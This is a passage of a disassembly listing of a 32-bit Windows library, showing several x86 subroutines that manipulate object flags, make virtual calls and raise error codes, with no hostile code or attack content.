mov byte ptr [ebp+arg_0], cl
mov byte ptr [ebp+var_4], cl
jmp short loc_69B4AD9B
; ---------------------------------------------------------------------------
loc_69B4AD8E: ; CODE XREF: sub_69B4AD59+16j
; sub_69B4AD59+1Cj
mov byte ptr [ebp+var_4], cl
jmp short loc_69B4AD97
; ---------------------------------------------------------------------------
loc_69B4AD93: ; CODE XREF: sub_69B4AD59+13j
mov byte ptr [ebp+var_4], 1
loc_69B4AD97: ; CODE XREF: sub_69B4AD59+2Bj
; sub_69B4AD59+38j
mov byte ptr [ebp+arg_0], 1
loc_69B4AD9B: ; CODE XREF: sub_69B4AD59+1Fj
; sub_69B4AD59+33j
cmp [ebp+arg_4], cl
mov ecx, esi
setz al
push eax
push [ebp+arg_0]
push [ebp+var_4]
call sub_69B4AAFC
pop esi
leave
retn 8
sub_69B4AD59 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4ADB4 proc near ; DATA XREF: .text:69B15374o
; .text:69B1DDC4o
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_10], 0
push ebx
push esi
mov esi, [ebp+arg_4]
test esi, esi
push edi
mov edi, [ebp+arg_8]
mov ebx, ecx
mov [ebp+var_C], 0
jnz short loc_69B4ADF9
mov eax, [edi]
mov esi, dword_69B99D00[eax*4]
test esi, esi
jnz short loc_69B4ADF9
cmp eax, 6
jnz short loc_69B4ADF9
mov ecx, [edi+8]
mov eax, [ecx]
call dword ptr [eax+3Ch]
test eax, eax
jz short loc_69B4ADF9
mov edx, [eax]
inc esi
push edi
push esi
mov ecx, eax
call dword ptr [edx+54h]
loc_69B4ADF9: ; CODE XREF: sub_69B4ADB4+1Bj
; sub_69B4ADB4+28j ...
cmp byte_69B99394[esi], 0
jz short loc_69B4AE53
mov ecx, ebx
call sub_69B48032
mov esi, [ebp+arg_0]
mov eax, esi
and eax, 7
mov [ebp+var_24], eax
call ds:GetThreadLocale ; GetThreadLocale
mov [ebp+var_20], eax
mov eax, [edi+8]
shr esi, 3
and esi, 1
mov [ebp+var_1C], esi
mov ecx, [eax+0Ch]
mov [ebp+var_18], ecx
mov eax, [eax+8]
mov [ebp+var_14], eax
lea eax, [ebp+var_24]
push eax
mov ecx, ebx
call sub_69B4ACFE
mov ecx, [ebp+var_24]
dec eax
dec eax
lea eax, [eax+ecx*2]
add eax, ecx
mov esi, dword_69B9A044[eax*4]
jmp short loc_69B4AE6F
; ---------------------------------------------------------------------------
loc_69B4AE53: ; CODE XREF: sub_69B4ADB4+4Cj
mov eax, [ebx]
lea ecx, [ebp+var_10]
push ecx
push esi
mov ecx, ebx
call dword ptr [eax+54h]
push 2
push edi
push [ebp+arg_0]
lea ecx, [ebp+var_10]
call sub_69B65333
mov esi, eax
loc_69B4AE6F: ; CODE XREF: sub_69B4ADB4+9Dj
lea ecx, [ebp+var_10]
call sub_69B466CC
pop edi
mov eax, esi
pop esi
pop ebx
leave
retn 0Ch
sub_69B4ADB4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4AE80 proc near ; CODE XREF: sub_69B4AED1+3Ep
; sub_69B4BD17+1EBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push 0
push 0
mov esi, ecx
call sub_69B4AD10
mov ebx, eax
test ebx, ebx
jz short loc_69B4AECB
mov ecx, [ebp+arg_0]
push edi
push ebx
call sub_69B8B00F
mov [ebp+var_4], eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0F4h]
mov edi, eax
test edi, edi
jz short loc_69B4AECA
cmp [ebp+var_4], edi
jnz short loc_69B4AECA
mov ecx, [ebp+arg_0]
push ebx
call sub_69B8B033
and byte ptr [esi+9], 7Fh
and dword ptr [edi+8], 0FFFFFFFBh
loc_69B4AECA: ; CODE XREF: sub_69B4AE80+32j
; sub_69B4AE80+37j
pop edi
loc_69B4AECB: ; CODE XREF: sub_69B4AE80+15j
pop esi
pop ebx
leave
retn 4
sub_69B4AE80 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4AED1 proc near ; CODE XREF: sub_69B4AED1+55p
; sub_69B4B74A+68p
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
movzx eax, byte ptr [ebp+arg_0]
shl eax, 0Ah
push esi
mov esi, ecx
xor eax, [esi+8]
and eax, 400h
xor [esi+8], eax
cmp byte ptr [ebp+arg_0], 0
mov eax, [esi+8]
jz short loc_69B4AF14
mov ecx, eax
shr ecx, 0Fh
test cl, 1
jz short loc_69B4AF14
shr eax, 14h
test al, 1
jz short loc_69B4AF14
mov ecx, [esi+0Ch]
call sub_69B3DABE
push eax
mov ecx, esi
call sub_69B4AE80
loc_69B4AF14: ; CODE XREF: sub_69B4AED1+20j
; sub_69B4AED1+2Aj ...
lea eax, [ebp+var_4]
push eax
mov ecx, esi
call sub_69B48DC1
jmp short loc_69B4AF36
; ---------------------------------------------------------------------------
loc_69B4AF21: ; CODE XREF: sub_69B4AED1+67j
push [ebp+arg_0]
mov ecx, eax
call sub_69B4AED1
lea eax, [ebp+var_4]
push eax
mov ecx, esi
call sub_69B47D9F
loc_69B4AF36: ; CODE XREF: sub_69B4AED1+4Ej
test eax, eax
jnz short loc_69B4AF21
pop esi
leave
retn 4
sub_69B4AED1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4AF3F proc near ; CODE XREF: sub_69B4B0C7+307p
; sub_69B8C084+267p
var_10 = word ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 10h
cmp byte ptr [ebp+arg_4], 0
push esi
mov esi, ecx
mov [ebp+var_10], 1
jz short loc_69B4AF7F
cmp [ebp+arg_0], 27h
jnz short loc_69B4AF7F
mov eax, [esi]
and [ebp+var_8], 0
lea ecx, [ebp+var_10]
push ecx
push 27h
mov ecx, esi
mov [ebp+var_10], 0Ah
call dword ptr [eax+0E8h]
and word ptr [esi+8], 0FC0Fh
jmp loc_69B4B0C2
; ---------------------------------------------------------------------------
loc_69B4AF7F: ; CODE XREF: sub_69B4AF3F+13j
; sub_69B4AF3F+19j
push ebx
push edi
mov edi, [ebp+arg_10]
test edi, edi
jnz short loc_69B4AF94
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0F4h]
mov edi, eax
loc_69B4AF94: ; CODE XREF: sub_69B4AF3F+47j
cmp [ebp+arg_0], 2
jz short loc_69B4AFA8
mov eax, [esi+8]
shr eax, 0Fh
test al, 1
jz loc_69B4B054
loc_69B4AFA8: ; CODE XREF: sub_69B4AF3F+59j
mov eax, [esi+8]
shr eax, 0Ah
test al, 1
jnz loc_69B4B054
test edi, edi
jz loc_69B4B054
cmp byte ptr [ebp+arg_8], 0
jnz loc_69B4B054
mov ecx, [esi+0Ch]
call sub_69B3DABE
mov [ebp+arg_10], eax
mov eax, [esi+0Ch]
mov bl, [eax+82h]
mov eax, [esi+8]
shr eax, 0Fh
test al, 1
jz short loc_69B4B00C
cmp byte ptr [ebp+arg_4], 0
jnz short loc_69B4B008
push 0
push 1
mov ecx, esi
call sub_69B4AD10
test eax, eax
jz short loc_69B4B008
mov ecx, [ebp+arg_10]
push eax
call sub_69B8B033
and dword ptr [edi+8], 0FFFFFFFBh
loc_69B4B008: ; CODE XREF: sub_69B4AF3F+ABj
; sub_69B4AF3F+BAj
and byte ptr [esi+9], 7Fh
loc_69B4B00C: ; CODE XREF: sub_69B4AF3F+A5j
cmp [ebp+arg_0], 2
jnz short loc_69B4B054
test bl, bl
jnz short loc_69B4B01E
cmp byte ptr [ebp+arg_4], bl
mov byte ptr [ebp+arg_8], bl
jnz short loc_69B4B022
loc_69B4B01E: ; CODE XREF: sub_69B4AF3F+D5j
mov byte ptr [ebp+arg_8], 1
loc_69B4B022: ; CODE XREF: sub_69B4AF3F+DDj
cmp [ebp+arg_C], 0
jnz short loc_69B4B034
push 0
mov ecx, esi
call sub_69B47E6C
mov [ebp+arg_C], eax
loc_69B4B034: ; CODE XREF: sub_69B4AF3F+E7j
push [ebp+arg_C]
mov ecx, esi
push [ebp+arg_8]
call sub_69B4AD10
test eax, eax
jz short loc_69B4B0AF
push [ebp+arg_8]
mov ecx, esi
push edi
push eax
push [ebp+arg_10]
call sub_69B481EB
loc_69B4B054: ; CODE XREF: sub_69B4AF3F+63j
; sub_69B4AF3F+71j ...
mov edi, [ebp+arg_0]
cmp edi, 0Ch
jge short loc_69B4B061
cmp edi, 1
jnz short loc_69B4B0AF
loc_69B4B061: ; CODE XREF: sub_69B4AF3F+11Bj
mov eax, [ebp+arg_14]
xor ecx, ecx
cmp eax, ecx
jnz short loc_69B4B099
cmp byte ptr [ebp+arg_4], cl
jnz short loc_69B4B07C
mov edx, [esi+8]
shr edx, 4
and edx, 3Fh
cmp edi, edx
jz short loc_69B4B099
loc_69B4B07C: ; CODE XREF: sub_69B4AF3F+12Ej
mov eax, [esi+8]
shr eax, 14h
test al, 1
push ecx
jz short loc_69B4B092
push ecx
push ecx
mov ecx, esi
call sub_69B4936A
jmp short loc_69B4B099
; ---------------------------------------------------------------------------
loc_69B4B092: ; CODE XREF: sub_69B4AF3F+146j
mov ecx, esi
call sub_69B48E56
loc_69B4B099: ; CODE XREF: sub_69B4AF3F+129j
; sub_69B4AF3F+13Bj ...
push eax
push [ebp+arg_4]
lea eax, [ebp+var_10]
push eax
push edi
push [ebp+arg_C]
mov ecx, esi
push dword ptr [esi+0Ch]
call sub_69B4858B
loc_69B4B0AF: ; CODE XREF: sub_69B4AF3F+104j
; sub_69B4AF3F+120j
mov eax, [esi]
lea ecx, [ebp+var_10]
push ecx
push [ebp+arg_0]
mov ecx, esi
call dword ptr [eax+0E8h]
pop edi
pop ebx
loc_69B4B0C2: ; CODE XREF: sub_69B4AF3F+3Bj
pop esi
leave
retn 18h
sub_69B4AF3F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4B0C7 proc near ; CODE XREF: sub_69B3D2F2+AAp
; sub_69B4C674+295p ...
var_10 = word ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push edi
mov edi, ecx
xor ebx, ebx
mov bl, [edi+0Bh]
xor eax, eax
inc eax
and ebx, 1Fh
mov ecx, ebx
shl eax, cl
test ax, 8011h
jz loc_69B4B3E7
push esi
mov esi, [ebp+arg_0]
test esi, esi
jnz short loc_69B4B0FE
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+0F4h]
mov esi, eax
loc_69B4B0FE: ; CODE XREF: sub_69B4B0C7+29j
cmp ebx, 0Fh
jnz loc_69B4B32A
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+38h]
mov ebx, eax
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 1Fh
mov [ebp+arg_0], eax
jg short loc_69B4B123
call sub_69B2E6D8
loc_69B4B123: ; CODE XREF: sub_69B4B0C7+55j
mov eax, [ebp+arg_0]
cmp [eax+88h], ebx
jnz loc_69B4B2C5
xor ebx, ebx
push ebx
push 1
push ebx
mov ecx, edi
call sub_69B4AAFC
cmp byte ptr [ebp+arg_4], bl
jz short loc_69B4B153
mov ecx, [edi+0Ch]
cmp [ecx+82h], bl
jnz short loc_69B4B153
xor cl, cl
jmp short loc_69B4B157
; ---------------------------------------------------------------------------
loc_69B4B153: ; CODE XREF: sub_69B4B0C7+7Bj
; sub_69B4B0C7+86j
xor ecx, ecx
mov cl, 1
loc_69B4B157: ; CODE XREF: sub_69B4B0C7+8Aj
push ecx
push eax
call sub_69B20F54
cmp esi, ebx
mov edi, eax
jz loc_69B4B3E6
mov eax, [esi+8]
shr eax, 0Eh
test al, 1
jz short loc_69B4B185
push ebx
push 0C00CE205h
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B4B185: ; CODE XREF: sub_69B4B0C7+A9j
cmp byte ptr [ebp+arg_4], 0
jnz loc_69B4B29F
mov eax, [esi+8]
shr eax, 4
and eax, 3Fh
cmp edi, eax
jnz short loc_69B4B1A5
cmp edi, 2
jnz loc_69B4B3E6
loc_69B4B1A5: ; CODE XREF: sub_69B4B0C7+D3j
mov eax, [esi]
mov ecx, esi
mov [ebp+arg_C], ebx
mov [ebp+arg_0], ebx
mov [ebp+var_10], 1
call dword ptr [eax+0F4h]
cmp edi, 2
mov ebx, eax
jz short loc_69B4B1CC
mov eax, [esi+8]
shr eax, 0Fh
test al, 1
jz short loc_69B4B23C
loc_69B4B1CC: ; CODE XREF: sub_69B4B0C7+F9j
mov eax, [esi+8]
shr eax, 0Ah
test al, 1
jnz short loc_69B4B23C
test ebx, ebx
jz short loc_69B4B23C
mov ecx, [esi+0Ch]
call sub_69B3DABE
mov [ebp+arg_4], eax
mov eax, [esi+8]
shr eax, 0Fh
test al, 1
jz short loc_69B4B20F
push 0
push 1
mov ecx, esi
call sub_69B4AD10
test eax, eax
jz short loc_69B4B20B
mov ecx, [ebp+arg_4]
push eax
call sub_69B8B033
and dword ptr [ebx+8], 0FFFFFFFBh
loc_69B4B20B: ; CODE XREF: sub_69B4B0C7+135j
and byte ptr [esi+9], 7Fh
loc_69B4B20F: ; CODE XREF: sub_69B4B0C7+126j
cmp edi, 2
jnz short loc_69B4B23C
push 0
mov ecx, esi
call sub_69B47E6C
push eax
push 1
mov ecx, esi
mov [ebp+arg_0], eax
call sub_69B4AD10
test eax, eax
jz short loc_69B4B28B
push 1
push ebx
push eax
push [ebp+arg_4]
mov ecx, esi
call sub_69B481EB
loc_69B4B23C: ; CODE XREF: sub_69B4B0C7+103j
; sub_69B4B0C7+10Dj ...
cmp edi, 0Ch
jge short loc_69B4B246
cmp edi, 1
jnz short loc_69B4B28B
loc_69B4B246: ; CODE XREF: sub_69B4B0C7+178j
mov eax, [esi+8]
mov ecx, eax
shr ecx, 4
and ecx, 3Fh
cmp edi, ecx
jz short loc_69B4B274
shr eax, 14h
test al, 1
mov ecx, esi
jz short loc_69B4B26A
xor eax, eax
push eax
push eax
push eax
call sub_69B4936A
jmp short loc_69B4B271
; ---------------------------------------------------------------------------
loc_69B4B26A: ; CODE XREF: sub_69B4B0C7+195j
push 0
call sub_69B48E56
loc_69B4B271: ; CODE XREF: sub_69B4B0C7+1A1j
mov [ebp+arg_C], eax
loc_69B4B274: ; CODE XREF: sub_69B4B0C7+18Cj
push [ebp+arg_C]
lea eax, [ebp+var_10]
push 0
push eax
push edi
push [ebp+arg_0]
mov ecx, esi
push dword ptr [esi+0Ch]
call sub_69B4858B
loc_69B4B28B: ; CODE XREF: sub_69B4B0C7+165j
; sub_69B4B0C7+17Dj
mov eax, [esi]
lea ecx, [ebp+var_10]
push ecx
push edi
mov ecx, esi
call dword ptr [eax+0E8h]
jmp loc_69B4B3E6
; ---------------------------------------------------------------------------
loc_69B4B29F: ; CODE XREF: sub_69B4B0C7+C2j
mov ecx, [esi+8]
cmp edi, ebx
setnz al
and edi, 3Fh
and ecx, 0FFFFBC0Fh
and eax, 1
shl eax, 0Ah
or eax, edi
shl eax, 4
or eax, ecx
mov [esi+8], eax
jmp loc_69B4B3E6
; ---------------------------------------------------------------------------
loc_69B4B2C5: ; CODE XREF: sub_69B4B0C7+65j
xor ebx, ebx
cmp esi, ebx
jz loc_69B4B3E6
cmp byte ptr [ebp+arg_4], bl
jz loc_69B4B3E6
cmp [ebp+arg_C], ebx
jnz short loc_69B4B2FC
test byte ptr [esi+0Bh], 1Fh
jnz loc_69B4B3E6
push ebx
push ebx
push ebx
mov ecx, edi
call sub_69B4936A
cmp eax, ebx
mov [ebp+arg_C], eax
jz loc_69B4B3E6
loc_69B4B2FC: ; CODE XREF: sub_69B4B0C7+214j
mov ecx, [ebp+arg_C]
call sub_69B8C6AD
cmp eax, ebx
jz loc_69B4B3E6
mov ecx, [edi+8]
and eax, 3Fh
or eax, 400h
shl eax, 4
and ecx, 0FFFFFC0Fh
or eax, ecx
mov [edi+8], eax
jmp loc_69B4B3AB
; ---------------------------------------------------------------------------
loc_69B4B32A: ; CODE XREF: sub_69B4B0C7+3Aj
test ebx, ebx
jnz loc_69B4B3D5
mov eax, [edi+8]
shr eax, 0Eh
test al, 1
jnz short loc_69B4B3AB
cmp byte ptr [ebp+arg_4], bl
jz short loc_69B4B3AB
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+38h]
mov eax, [eax+10h]
cmp eax, dword_69B95A54
jz short loc_69B4B3AB
cmp [ebp+arg_C], ebx
jnz short loc_69B4B367
push ebx
mov ecx, edi
call sub_69B48E56
cmp eax, ebx
mov [ebp+arg_C], eax
jz short loc_69B4B3AB
loc_69B4B367: ; CODE XREF: sub_69B4B0C7+28Fj
mov ecx, [ebp+arg_C]
call sub_69B8C6AD
mov esi, eax
cmp esi, ebx
jz short loc_69B4B3AB
mov eax, [edi+8]
shr eax, 0Eh
test al, 1
jz short loc_69B4B392
push ebx
push 0C00CE205h
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B4B392: ; CODE XREF: sub_69B4B0C7+2B6j
mov eax, [edi+8]
and esi, 3Fh
or esi, 400h
shl esi, 4
and eax, 0FFFFFC0Fh
or esi, eax
mov [edi+8], esi
loc_69B4B3AB: ; CODE XREF: sub_69B4B0C7+25Ej
; sub_69B4B0C7+273j ...
mov eax, [edi+8]
mov ecx, eax
shr ecx, 0Eh
test cl, 1
jz short loc_69B4B3E6
push [ebp+arg_C]
shr eax, 4
push 0
push 0
push [ebp+arg_8]
and eax, 3Fh
push [ebp+arg_4]
mov ecx, edi
push eax
call sub_69B4AF3F
jmp short loc_69B4B3E6
; ---------------------------------------------------------------------------
loc_69B4B3D5: ; CODE XREF: sub_69B4B0C7+265j
cmp byte ptr [ebp+arg_4], 0
jz short loc_69B4B3E6
push 1
push 1
mov ecx, edi
call sub_69B49321
loc_69B4B3E6: ; CODE XREF: sub_69B4B0C7+9Bj
; sub_69B4B0C7+D8j ...
pop esi
loc_69B4B3E7: ; CODE XREF: sub_69B4B0C7+1Dj
pop edi
pop ebx
leave
retn 10h
sub_69B4B0C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4B3ED proc near ; CODE XREF: sub_69B4B74A+1Dp
; sub_69B4BAA7+143p ...
var_20 = word ptr -20h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
push edi
mov esi, ecx
loc_69B4B3F8: ; CODE XREF: sub_69B4B3ED+5Fj
xor eax, eax
mov al, [esi+0Bh]
xor edi, edi
and eax, 1Fh
sub eax, edi
jz short loc_69B4B457
dec eax
jz short loc_69B4B40E
sub eax, 5
jnz short loc_69B4B44E
loc_69B4B40E: ; CODE XREF: sub_69B4B3ED+1Aj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0F4h]
mov ebx, eax
cmp ebx, edi
jz loc_69B4B743
mov ecx, ebx
call sub_69B48D60
test al, al
jz loc_69B4B743
mov eax, [ebp+arg_0]
mov ecx, [eax+0Ch]
mov eax, [eax+8]
push edi
push esi
push esi
push edi
push eax
push ecx
mov ecx, ebx
call sub_69B48F40
mov [ebp+arg_0], eax
mov esi, ebx
jmp short loc_69B4B3F8
; ---------------------------------------------------------------------------
loc_69B4B44E: ; CODE XREF: sub_69B4B3ED+1Fj
sub eax, 9
jnz loc_69B4B743
loc_69B4B457: ; CODE XREF: sub_69B4B3ED+17j
mov eax, [esi+8]
xor ebx, ebx
mov ecx, eax
shr ecx, 0Eh
inc ebx
test cl, bl
jz loc_69B4B57B
mov ecx, [ebp+arg_0]
shr eax, 4
and eax, 3Fh
mov [ebp+var_C], ecx
mov [ebp+var_4], eax
mov eax, [esi]
mov ecx, esi
mov [ebp+var_8], edi
mov [ebp+var_20], bx
call dword ptr [eax+0F4h]
cmp [ebp+var_4], 2
mov edi, eax
jz short loc_69B4B49C
mov eax, [esi+8]
shr eax, 0Fh
test al, bl
jz short loc_69B4B512
loc_69B4B49C: ; CODE XREF: sub_69B4B3ED+A3j
mov eax, [esi+8]
shr eax, 0Ah
test al, bl
jnz short loc_69B4B512
test edi, edi
jz short loc_69B4B512
mov ecx, [esi+0Ch]
call sub_69B3DABE
mov [ebp+var_10], eax
mov eax, [esi+8]
shr eax, 0Fh
test al, bl
jz short loc_69B4B4DE
push 0
push ebx
mov ecx, esi
call sub_69B4AD10
test eax, eax
jz short loc_69B4B4DA
mov ecx, [ebp+var_10]
push eax
call sub_69B8B033
and dword ptr [edi+8], 0FFFFFFFBh
loc_69B4B4DA: ; CODE XREF: sub_69B4B3ED+DEj
and byte ptr [esi+9], 7Fh
loc_69B4B4DE: ; CODE XREF: sub_69B4B3ED+D0j
cmp [ebp+var_4], 2
jnz short loc_69B4B512
cmp [ebp+arg_0], 0
jnz short loc_69B4B4F6
push 0
mov ecx, esi
call sub_69B47E6C
mov [ebp+var_C], eax
loc_69B4B4F6: ; CODE XREF: sub_69B4B3ED+FBj
push [ebp+var_C]
mov ecx, esi
push ebx
call sub_69B4AD10
test eax, eax
jz short loc_69B4B565
push ebx
push edi
push eax
push [ebp+var_10]
mov ecx, esi
call sub_69B481EB
loc_69B4B512: ; CODE XREF: sub_69B4B3ED+ADj
; sub_69B4B3ED+B7j ...
cmp [ebp+var_4], 0Ch
jge short loc_69B4B51D
cmp [ebp+var_4], ebx
jnz short loc_69B4B565
loc_69B4B51D: ; CODE XREF: sub_69B4B3ED+129j
mov eax, [esi+8]
mov ecx, eax
shr ecx, 4
and ecx, 3Fh
cmp [ebp+var_4], ecx
jz short loc_69B4B54C
shr eax, 14h
test al, bl
mov ecx, esi
jz short loc_69B4B542
xor eax, eax
push eax
push eax
push eax
call sub_69B4936A
jmp short loc_69B4B549
; ---------------------------------------------------------------------------
loc_69B4B542: ; CODE XREF: sub_69B4B3ED+147j
push 0
call sub_69B48E56
loc_69B4B549: ; CODE XREF: sub_69B4B3ED+153j
mov [ebp+var_8], eax
loc_69B4B54C: ; CODE XREF: sub_69B4B3ED+13Ej
push [ebp+var_8]
lea eax, [ebp+var_20]
push 0
push eax
push [ebp+var_4]
mov ecx, esi
push [ebp+var_C]
push dword ptr [esi+0Ch]
call sub_69B4858B
loc_69B4B565: ; CODE XREF: sub_69B4B3ED+116j
; sub_69B4B3ED+12Ej
lea ecx, [ebp+var_20]
push ecx
push [ebp+var_4]
loc_69B4B56C: ; CODE XREF: sub_69B4B3ED+2CBj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0E8h]
jmp loc_69B4B743
; ---------------------------------------------------------------------------
loc_69B4B57B: ; CODE XREF: sub_69B4B3ED+77j
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 1Fh
mov edi, eax
jg short loc_69B4B58D
call sub_69B2E6D8
loc_69B4B58D: ; CODE XREF: sub_69B4B3ED+199j
mov eax, [esi]
mov edi, [edi+88h]
mov ecx, esi
call dword ptr [eax+38h]
cmp edi, eax
jnz loc_69B4B6BD
mov ecx, [ebp+arg_0]
call sub_69B2F43C
push ebx
push eax
call sub_69B20F54
mov [ebp+arg_0], eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0F4h]
mov esi, eax
test esi, esi
jz loc_69B4B743
mov eax, [esi]
and [ebp+var_C], 0
and [ebp+var_8], 0
mov ecx, esi
mov [ebp+var_20], bx
call dword ptr [eax+0F4h]
cmp [ebp+arg_0], 2
mov edi, eax
jz short loc_69B4B5F0
mov eax, [esi+8]
shr eax, 0Fh
test al, bl
jz short loc_69B4B65E
loc_69B4B5F0: ; CODE XREF: sub_69B4B3ED+1F7j
mov eax, [esi+8]
shr eax, 0Ah
test al, bl
jnz short loc_69B4B65E
test edi, edi
jz short loc_69B4B65E
mov ecx, [esi+0Ch]
call sub_69B3DABE
mov [ebp+var_10], eax
mov eax, [esi+8]
shr eax, 0Fh
test al, bl
jz short loc_69B4B632
push 0
push ebx
mov ecx, esi
call sub_69B4AD10
test eax, eax
jz short loc_69B4B62E
mov ecx, [ebp+var_10]
push eax
call sub_69B8B033
and dword ptr [edi+8], 0FFFFFFFBh
loc_69B4B62E: ; CODE XREF: sub_69B4B3ED+232j
and byte ptr [esi+9], 7Fh
loc_69B4B632: ; CODE XREF: sub_69B4B3ED+224j
cmp [ebp+arg_0], 2
jnz short loc_69B4B65E
push 0
mov ecx, esi
call sub_69B47E6C
push eax
push ebx
mov ecx, esi
mov [ebp+var_8], eax
call sub_69B4AD10
test eax, eax
jz short loc_69B4B6B1
push ebx
push edi
push eax
push [ebp+var_10]
mov ecx, esi
call sub_69B481EB
loc_69B4B65E: ; CODE XREF: sub_69B4B3ED+201j
; sub_69B4B3ED+20Bj ...
cmp [ebp+arg_0], 0Ch
jge short loc_69B4B669
cmp [ebp+arg_0], ebx
jnz short loc_69B4B6B1
loc_69B4B669: ; CODE XREF: sub_69B4B3ED+275j
mov eax, [esi+8]
mov ecx, eax
shr ecx, 4
and ecx, 3Fh
cmp [ebp+arg_0], ecx
jz short loc_69B4B698
shr eax, 14h
test al, bl
mov ecx, esi
jz short loc_69B4B68E
xor eax, eax
push eax
push eax
push eax
call sub_69B4936A
jmp short loc_69B4B695
; ---------------------------------------------------------------------------
loc_69B4B68E: ; CODE XREF: sub_69B4B3ED+293j
push 0
call sub_69B48E56
loc_69B4B695: ; CODE XREF: sub_69B4B3ED+29Fj
mov [ebp+var_C], eax
loc_69B4B698: ; CODE XREF: sub_69B4B3ED+28Aj
push [ebp+var_C]
lea eax, [ebp+var_20]
push 0
push eax
push [ebp+arg_0]
mov ecx, esi
push [ebp+var_8]
push dword ptr [esi+0Ch]
call sub_69B4858B
loc_69B4B6B1: ; CODE XREF: sub_69B4B3ED+262j
; sub_69B4B3ED+27Aj
lea ecx, [ebp+var_20]
push ecx
push [ebp+arg_0]
jmp loc_69B4B56C
; ---------------------------------------------------------------------------
loc_69B4B6BD: ; CODE XREF: sub_69B4B3ED+1AFj
mov eax, [esi]
mov edi, dword_69B95A5C
mov ecx, esi
call dword ptr [eax+38h]
cmp edi, [eax+10h]
jnz short loc_69B4B743
mov eax, [esi+8]
shr eax, 0Ah
test al, bl
jnz short loc_69B4B743
mov ecx, [esi+0Ch]
call sub_69B3DABE
push ebx
push ebx
xor ebx, ebx
push ebx
mov ecx, esi
mov edi, eax
call sub_69B4AAFC
cmp [eax+8], ebx
mov [ebp+var_10], eax
jz short loc_69B4B719
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0B4h]
mov eax, [eax+70h]
push ebx ; int
push ebx ; lpString
push [ebp+var_10] ; int
mov ecx, eax
call sub_69B4D394
push eax
lea ecx, [edi+0Ch]
call sub_69B48C2B
loc_69B4B719: ; CODE XREF: sub_69B4B3ED+308j
mov eax, [ebp+arg_0]
cmp [eax+8], ebx
jz short loc_69B4B743
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0B4h]
mov eax, [eax+70h]
push ebx ; int
push ebx ; lpString
push [ebp+arg_0] ; int
mov ecx, eax
call sub_69B4D394
push eax
lea ecx, [edi+0Ch]
call sub_69B47C9C
loc_69B4B743: ; CODE XREF: sub_69B4B3ED+2Fj
; sub_69B4B3ED+3Ej ...
pop edi
pop esi
pop ebx
leave
retn 4
sub_69B4B3ED endp
; =============== S U B R O U T I N E =======================================
sub_69B4B74A proc near ; CODE XREF: sub_69B3D622+34p
; sub_69B4B801+34p ...
arg_0 = byte ptr 4
arg_4 = byte ptr 8
arg_8 = byte ptr 0Ch
push esi
mov esi, ecx
test byte ptr [esi+0Ah], 0Ch
jnz short loc_69B4B7D1
push ebx
xor ebx, ebx
cmp [esp+8+arg_0], bl
jnz short loc_69B4B76C
cmp [esp+8+arg_4], bl
jz short loc_69B4B76C
push offset off_69B1A5AC
call sub_69B4B3ED
loc_69B4B76C: ; CODE XREF: sub_69B4B74A+10j
; sub_69B4B74A+16j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+118h]
test al, al
mov eax, [esi]
mov ecx, esi
jz short loc_69B4B787
push ebx
call dword ptr [eax+114h]
jmp short loc_69B4B7D0
; ---------------------------------------------------------------------------
loc_69B4B787: ; CODE XREF: sub_69B4B74A+32j
push edi
jmp short loc_69B4B7C3
; ---------------------------------------------------------------------------
loc_69B4B78A: ; CODE XREF: sub_69B4B74A+83j
mov eax, [edi+8]
shr eax, 14h
test al, 1
jnz short loc_69B4B7CF
cmp [esp+0Ch+arg_0], bl
jz short loc_69B4B7A8
push ebx
push ebx
push edi
push ebx
push ebx
mov ecx, esi
call sub_69B4C674
jmp short loc_69B4B7BF
; ---------------------------------------------------------------------------
loc_69B4B7A8: ; CODE XREF: sub_69B4B74A+4Ej
cmp [esp+0Ch+arg_8], bl
jnz short loc_69B4B7B7
push 1
mov ecx, edi
call sub_69B4AED1
loc_69B4B7B7: ; CODE XREF: sub_69B4B74A+62j
push edi
mov ecx, esi
call sub_69B4843A
loc_69B4B7BF: ; CODE XREF: sub_69B4B74A+5Cj
mov eax, [esi]
mov ecx, esi
loc_69B4B7C3: ; CODE XREF: sub_69B4B74A+3Ej
call dword ptr [eax+108h]
mov edi, eax
cmp edi, ebx
